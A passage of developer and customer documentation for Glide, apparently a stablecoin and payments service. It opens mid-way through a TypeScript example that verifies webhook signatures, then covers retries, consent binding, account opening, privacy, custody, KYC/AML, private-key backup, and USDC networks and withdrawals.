if (key === 'v1') signature = value ?? '';
}
if (!timestamp || !signature) return false;
// Reject stale or future-dated timestamps.
const sent = Number(timestamp);
if (!Number.isFinite(sent)) return false;
if (Math.abs(Math.floor(Date.now() / 1000) - sent) > TOLERANCE_SECONDS) return false;
const expected = crypto
.createHmac('sha256', SECRET)
.update(`${timestamp}.${rawBody.toString('utf8')}`)
.digest('hex');
const a = Buffer.from(expected, 'utf8');
const b = Buffer.from(signature, 'utf8');
return a.length === b.length && crypto.timingSafeEqual(a, b);
}
// express.raw keeps the body as bytes. Do not mount express.json on this path.
app.post(
'/webhooks/glide',
express.raw({ type: 'application/json' }),
async (req, res) => {
if (!verifySignature(req.header('X-Glide-Signature'), req.body)) {
return res.status(400).send('invalid signature');
}
const event = JSON.parse(req.body.toString('utf8')) as {
id: string;
type: string;
user_id: string;
occurred_at: string;
data: Record;
};
// Implement acceptEventOnce with one database transaction: insert the
// unique event id AND a durable work item. A crash must not leave a
// dedupe marker without queued work. Process the work item asynchronously.
const isNew = await acceptEventOnce(event);
if (!isNew) return res.status(200).send('duplicate');
return res.status(200).send('ok');
}
);
app.listen(3000);
```
Reject anything older or newer than a short tolerance. Five minutes is the recommended window. The timestamp and signature are regenerated on each retry, while the event `id` and payload stay identical, so tolerance protects against replay without breaking legitimate retries.
Dedupe on the event `id`, which is also the `Idempotency-Key` header, and do it before you apply side effects. Return 2xx only once you have durably accepted the event.
## Retries
The delivery worker drains up to 50 deliveries a minute, with durable leases so a crashed worker recovers rather than dropping events.
| Attempt | Delay after the previous one |
| ------- | ---------------------------- |
| 2 | 30 seconds |
| 3 | 60 seconds |
| 4 | 120 seconds |
| 5 | 240 seconds |
| 6 | 480 seconds |
| 7 | 960 seconds |
| 8 | 1920 seconds |
There are at most eight attempts, counting attempts interrupted by a worker restart. The cron cadence can add up to a minute to each delay.
Network errors, 408, 429 and 5xx are retried. Every other non-2xx response, redirects included, is a terminal failure. If you need Glide to back off, return 429 or a 5xx rather than a 4xx.
Delivery is at least once, so your receiver may accept an event before Glide records the success. Design for a repeat.
## Consent binding
Before every attempt, the worker rechecks your partner status, the endpoint allowlist and the user's grant. Only active grants that carry the event's scope, delivered to an active endpoint on your exact URL allowlist, receive events.
An opaque consent version binds a queued event to the exact grant that authorized it, including a replacement grant made in the same instant. If the user revokes or replaces their grant, queued events are cancelled, and re-granting does not release events queued under the prior consent. A request already in flight cannot be recalled.
There is no historical backfill when you register an endpoint. Changes that do not move a relevant status emit nothing.
## Ordering
Ordering is not guaranteed. Two events for the same user can arrive out of sequence, and an event can beat the API response that caused it. When order matters, fetch current state from the read endpoints instead of folding events into a state machine.
The common case is a `transfer.settled` arriving before your own batch response has been saved. Hold the event, retry the correlation on a backoff, and alert a human if it stays unmatched. Do not discard it, and do not assume an unmatched transfer id is yours: a user may have authorized other partners who share the same ledger view.
## What Glide keeps
Delivery and attempt records retain outcomes and timestamps. Remote response bodies are not stored. Ask Glide for your delivery and attempt history when you need to reconcile.
# Open your Glide account
Source: https://glide-9da73dea.mintlify.app/quickstart
Sign in, choose your account type, add money, and make your first transfer.
Most accounts open in about ten minutes. Availability and verification depend on your account and the service you want to use.
Open [Glide](https://glide.co) and follow the sign-in prompts. Choose a personal account for yourself or a business account for a company.
Have your government-issued ID and a camera ready. Follow the identity checks shown in the app. Fiat receiving details and card issuance require verification.
See [Identity verification](/accounts/identity) for help continuing or restarting a check.
Open **Add money**. For a bank deposit, choose USD or EUR and copy the current account details and reference exactly. For crypto, choose the asset and network shown, then copy your personal wallet address.
See [Deposits](/money/deposits).
Open **Send** on web or **Pay** in the mobile app. For a bank transfer, choose the receiving currency, recipient and amount. Review the live quote, then explicitly confirm the payment from your wallet.
See [Send money](/money/send).
Open your avatar for your inbox, statements, personal details, other accounts and **Security and privacy**. Back up your EVM and Solana private keys through the secure wallet export flow.
The mobile tabs are **Home**, **Pay**, **Swap**, and **Recipients**. Card availability is separate from opening your account; see [Cards](/cards/overview).
## Next
* [Eligibility](/eligibility)
* [Personal vs business](/accounts/personal-vs-business)
* [Recipients](/money/recipients)
* [Pricing](https://glide.co/pricing)
# Data and privacy
Source: https://glide-9da73dea.mintlify.app/security/data-privacy
How account details, contact imports and wallet backups are handled, and where to find the privacy policies.
Glide uses account, identity, transaction and technical information to provide services, verify access and support compliance checks. Read the [KYC/AML & Privacy Policy](https://glide.co/privacy) and [Data Retention Policy](https://glide.co/data-retention) for the applicable terms.
## Contact imports
You choose whether to import contacts. Phone contacts are read only after you select the import action and grant permission. Limited access is respected, and denying permission does not save contacts.
Google Contacts, where available, asks for names, email addresses and phone numbers. It does not request Gmail inbox access. Google access tokens stay in browser memory; Glide receives the contact details you choose to save.
CSV imports save the contact identifiers selected through the import flow. Saved contacts belong to your account, and imports deduplicate identifiers. Importing does not send a message or initiate a payment.
See [Import contacts](/money/contact-import) for quick import and individual selection.
## Wallet backup
Private-key export happens inside Privy's secure dialog after email confirmation. Glide does not receive the exported key. EVM and Solana exports are separate.
See [Wallet backup](/security/two-factor#wallet-backup). Keep exported keys out of support messages, screenshots and shared files.
## Connected partners
You control the permissions granted to a connected partner. Manage partner access on the [Integrations page](https://glide.co/settings/integrations). Revoking a grant stops future authorized access; it does not reverse completed payments.
Partner consent covers personal data and does not expose your business-entity data. See [Users and consent](/partners/users-and-consent).
## Requests and corrections
Use your profile's **Personal details** screens to edit supported fields. For privacy questions or requests for access, correction or deletion, follow the contact instructions in the [Privacy Policy](https://glide.co/privacy).
Some records must be retained under applicable requirements. A deletion request does not guarantee immediate removal of all identity or transaction records.
## Next
* [Your profile](/accounts/overview#your-profile-hub)
* [KYC and AML](/security/kyc-aml)
* [Security and wallet backup](/security/two-factor)
# Custody and account security
Source: https://glide-9da73dea.mintlify.app/security/index
Understand personal wallet control, partner-provided services, verification and wallet backup.
Glide is a financial technology company, not a bank. Regulated services are provided by licensed partner fintechs and banks under their own permissions.
## Understand your account
Personal Privy wallets, business vaults, and fiat handled by regulated partners.
The partner model and the terms that apply to banking and payments.
Verification and transaction checks for the services you use.
Email-confirmed export of your personal wallet's private keys through Privy.
## Personal wallets
Your personal crypto balances use your verified Privy embedded EVM and Solana wallets. Personal wallet sends, swaps and wallet-funded bank payouts require the matching wallet to sign. A personal account does not automatically create or select a treasury vault.
Business entity vaults and their approval controls are unchanged.
Stablecoin and other crypto balances are not bank deposits and are not deposit-insured. Fiat handled by banking and EMI partners follows those partners' custody and deposit-protection rules.
## Report a concern
If you suspect unauthorized account activity, contact [hi@glide.co](mailto:hi@glide.co). Do not send private keys, email confirmation links or sign-in codes.
## Next
* [Security and wallet backup](/security/two-factor)
* [Data and privacy](/security/data-privacy)
* [Regulated services](/security/regulatory)
# KYC and AML
Source: https://glide-9da73dea.mintlify.app/security/kyc-aml
Understand identity checks and transaction screening for Glide services.
Know Your Customer (KYC) and Anti-Money Laundering (AML) checks help establish who is using a service and identify restricted or suspicious activity. Glide works with partner services for verification and regulated financial services.
## Identity and business checks
Complete the information requested in the verification flow. Personal verification can require identity details, a government-issued ID and a selfie. Business verification also covers the entity and the relevant owners or controllers.
Fiat receiving details and card issuance require verification. Other actions can have their own requirements. See [Identity verification](/accounts/identity) for how to continue or restart a check.
## Recipient and transaction checks
Glide checks recipients and payment details before preparing a personal wallet payment. Contact payments must resolve to an existing Glide account with a verified embedded wallet. Phone payments require a uniquely matched, verified phone identity.
Bank payments validate the selected recipient and currently available Noah payment method before funding. Sanctions screening or provider checks can prevent a transaction or require further review.
## If a payment needs review
Read the status and any next step shown in the app. A submitted or funded payment is not necessarily settled. If you need help, contact [hi@glide.co](mailto:hi@glide.co) with the transaction reference and error message.
## Policies and data
Read the [KYC/AML & Privacy Policy](https://glide.co/privacy), [Transaction Monitoring Policy](https://glide.co/monitoring) and [Data Retention Policy](https://glide.co/data-retention) for the applicable policies.
Glide is a fintech company, not a bank or a money transmitter. See [Regulated services](/security/regulatory) for the partner model.
## Next
* [Identity verification](/accounts/identity)
* [Data and privacy](/security/data-privacy)
* [Send money](/money/send)
# Regulated services
Source: https://glide-9da73dea.mintlify.app/security/regulatory
Glide is a fintech company. Licensed partners provide regulated financial services.
Glide is a fintech company, not a bank and not a money transmitter. Licensed partner fintechs and banks provide regulated services under their own permissions.
## The partner model
Banking, payment execution, currency conversion and card issuance are subject to the relevant partner's terms and eligibility requirements. Glide's app brings those services together with your account and wallet workflows.
A service being available in one location does not establish that every service or payment method is available there. Check the options and requirements shown in the app.
## Customer notice
Glide is a financial technology company, not a bank. Glide does not hold customer funds and does not itself provide regulated financial services. Banking, payment, currency-conversion and card-issuance services are provided by licensed partner fintechs and banks, and are subject to those partners’ terms, custody arrangements and deposit-protection rules. Stablecoin and other crypto balances are not bank deposits and are not deposit-insured. Read our KYC/AML & Privacy Policy, Terms & Conditions, Transaction Monitoring, and Data Retention policies for full details.
## Policies
* [Terms & Conditions](https://glide.co/terms)
* [KYC/AML & Privacy Policy](https://glide.co/privacy)
* [Transaction Monitoring](https://glide.co/monitoring)
* [Data Retention](https://glide.co/data-retention)
* [Compliance overview](https://glide.co/trust/compliance)
For questions about the terms applicable to your account, email [hi@glide.co](mailto:hi@glide.co).
## Next
* [Where your money sits](/security/segregated-banking)
* [KYC and AML](/security/kyc-aml)
* [Data and privacy](/security/data-privacy)
# Where your money sits
Source: https://glide-9da73dea.mintlify.app/security/segregated-banking
Personal crypto uses Privy wallets; business treasury uses vaults; fiat follows partner custody rules.
Your custody arrangements depend on the balance and service you use. Glide is a fintech company and does not hold customer funds.
## Personal crypto balances
Personal accounts use your verified Privy embedded EVM and Solana wallets for deposits, balances, sends and swaps. Wallet-funded bank payouts use your verified personal wallet as the funding source.
A personal account does not automatically create or select a treasury vault. Existing historical wallets and recovery records are preserved; the v0.35 change does not automatically migrate funds.
You can export the private keys for your personal wallets through [Security wallet backup](/security/two-factor#wallet-backup).
## Business treasury
Business entity vaults remain separate from personal wallets. Treasury uses Safe on EVM and Squads on Solana, with the business's configured signing and approval controls.
See [Treasury](/business/treasury) for business workflows.
## Fiat and bank services
Fiat sits with regulated banking and EMI partners under their custody and deposit-protection rules. Bank receiving instructions and payout services are subject to the relevant partner's terms.
Personal Noah receiving details are linked to your deposit workflow and verified wallet. Copy the live instructions, including any reference, from [Add money](/money/deposits).
A separate **Glide balance** received from a partner payout is a ledger credit. It has its own conversion and cash-out flow; it is not the same as USDC already in your wallet.
## Deposit protection
Glide is not a bank. Stablecoin and other crypto balances are not bank deposits and are not deposit-insured. Do not treat segregation, wallet control or a stablecoin's reserve arrangements as deposit insurance.
For fiat services, consult the applicable partner terms for custody, eligibility and any deposit protection. See [Glide's custody model](https://glide.co/trust/custody) and [Terms & Conditions](https://glide.co/terms).
## Next
* [Regulated services](/security/regulatory)
* [Stablecoins](/stablecoins/overview)
* [Personal vs business](/accounts/personal-vs-business)
# Security and wallet backup
Source: https://glide-9da73dea.mintlify.app/security/two-factor
Confirm sensitive wallet actions and back up your EVM and Solana private keys securely.
Open your profile and choose **Security and privacy** to manage backup of your personal Glide wallets. Sign-in and wallet confirmation use Privy and the prompts available for your account.
## Wallet confirmation
Personal wallet sends, swaps and wallet-funded bank payouts use the verified embedded wallet for the selected network. Review the amount, recipient and transaction before approving the wallet prompt.
Agent and business approval policies are separate. See [Agent step-up approvals](/agents/step-up) and [Business team roles](/business/team-roles).
## Wallet backup
EVM and Solana wallets have **separate private keys**. Wallet backup exports a private key, not a seed phrase.
Open your avatar, then **Security and privacy**. On web, check the wallet address and choose **Export EVM private key** or **Export Solana private key**.
If confirmation is required, open the secure link sent to your email. Return to Security and choose the export button again after confirming.
Privy opens the export dialog for the selected wallet. Copy and store the key somewhere only you can access. Glide does not receive the private key.
Repeat for the other wallet if you use both EVM and Solana. One key does not back up both wallets.
On mobile, choose **Request wallet backup**. Open the email confirmation link and continue in the secure web flow. The native screen does not display the private key.
Anyone with a private key can move that wallet's funds. Never send a private key, sign-in code or confirmation link to support, another person or an AI assistant.
If your wallet is still loading or unavailable, wait or sign in again before retrying. Exporting a key does not move your funds or create a new wallet.
## Account access
Protect the email account you use to sign in. If you cannot access Glide or suspect unauthorized activity, contact [hi@glide.co](mailto:hi@glide.co).
## Next
* [Your profile](/accounts/overview#your-profile-hub)
* [Where your money sits](/security/segregated-banking)
* [Data and privacy](/security/data-privacy)
# Stablecoins
Source: https://glide-9da73dea.mintlify.app/stablecoins/overview
Hold supported stablecoins in your personal wallet, swap assets, and send USDC.
Personal crypto balances sit in your verified Privy embedded wallets. EVM and Solana use separate wallets. Deposits, wallet sends and swaps use the wallet for the selected network.
## What you can do
Choose the supported asset and network before copying your wallet address.
Review an available quote and confirm with your personal wallet.
Fund a live Noah payout quote with USDC from your personal wallet on Polygon.
Send native USDC on a supported network with explicit wallet confirmation.
## Assets and balances
Use the asset and network choices in the app as the current list. Deposit support, balance display, swaps and sends can support different asset sets. The personal wallet-send flow supports native USDC; a displayed token balance does not guarantee that this flow can send it.
Crypto stays in your wallet until you authorize a supported transaction. A USD valuation is a display value, not a USD bank deposit. If a balance read is incomplete, refresh it before relying on the total.
## Custody and risk
Glide is not a bank. Stablecoin and other crypto balances are not bank deposits and are not deposit-insured. Stablecoins carry issuer, market and network risks; their value is not guaranteed.
Personal accounts do not automatically provision a treasury vault. Business treasury vaults are separate and unchanged. See [Where your money sits](/security/segregated-banking).
## Back up your wallet
Open **Security and privacy** from your profile to export your EVM or Solana private key through Privy's secure dialog after email confirmation. See [Wallet backup](/security/two-factor#wallet-backup).
## Next
* [Supported networks](/stablecoins/supported-networks)
* [Withdrawals](/stablecoins/withdrawals)
* [Deposits](/money/deposits)
# Supported networks
Source: https://glide-9da73dea.mintlify.app/stablecoins/supported-networks
Check the network and asset for each deposit, wallet send or bank payout.
Select the network in the app before copying an address or preparing a transfer. Network support depends on the action you are taking.
## Personal USDC sends
The personal wallet-send flow supports native USDC on these networks:
| Network | Signing wallet |
| -------- | --------------------------------- |
| Ethereum | Your verified Privy EVM wallet |
| Base | Your verified Privy EVM wallet |
| Arbitrum | Your verified Privy EVM wallet |
| Polygon | Your verified Privy EVM wallet |
| Solana | Your verified Privy Solana wallet |
Wallet-funded bank payouts currently use **USDC on Polygon**. Holding USDC on another network does not fund that payout automatically.
## Deposits and other assets
Use only the asset and network combinations offered in **Add money**. A wallet may show other registered assets, but display support does not mean every send or swap route supports them.
EVM networks can share an address while holding separate balances. Check the network as well as the address. On Solana, use the wallet address requested by the flow, not a token-account address.
Confirm the asset, network and destination before sending. Unsupported assets, bridged token variants or the wrong network may not appear or be usable in Glide. Recovery is not guaranteed.
## Fees and timing
Network fees and confirmation times vary with network conditions. Review the transaction prompt and keep any required network token available. A submitted transaction still needs network confirmation.
## Next
* [Deposits](/money/deposits)
* [Withdrawals](/stablecoins/withdrawals)
* [Send to a bank](/money/send)
# Stablecoin withdrawals
Source: https://glide-9da73dea.mintlify.app/stablecoins/withdrawals
Send native USDC from your verified personal wallet to a recipient wallet.
The personal wallet-send flow sends native USDC from your verified Privy embedded wallet. See [Supported networks](/stablecoins/supported-networks) for the supported chains.
## Send USDC to a wallet
Choose the wallet-address option on web or from **Pay** in the mobile app.
Select the network where you hold the USDC you want to send. EVM sends use your personal EVM wallet; Solana sends use your personal Solana wallet.
Paste the recipient's wallet address. On Solana, use the wallet address, not a token-account address. Check the amount against your available balance.
Check the network, address, amount and transaction prompt. Explicitly confirm with the matching Privy wallet. Keep any required network token available for fees.
Check the transaction status and on-chain hash when available. Confirmation time depends on the network. If the outcome is uncertain, check the existing transaction before trying another send.
On-chain transfers cannot be recalled after broadcast. Check the destination before signing. An address check cannot establish that the intended person controls the address.
## Send to a Glide user or bank
You can also [send to an existing Glide user](/money/send#send-to-a-glide-contact) by email, phone or tag. These personal contact payments use wallet signing too.
To receive fiat at a bank, use the [bank send flow](/money/send#send-to-a-bank-account). It uses a live quote and separate bank-settlement status.
## Backup and external access
To back up or import your existing wallet into another wallet app, use [Security wallet backup](/security/two-factor#wallet-backup). EVM and Solana have separate private keys.
## Next
* [Stablecoins](/stablecoins/overview)
* [Supported networks](/stablecoins/supported-networks)
* [Limits and fees](/money/limits-and-fees)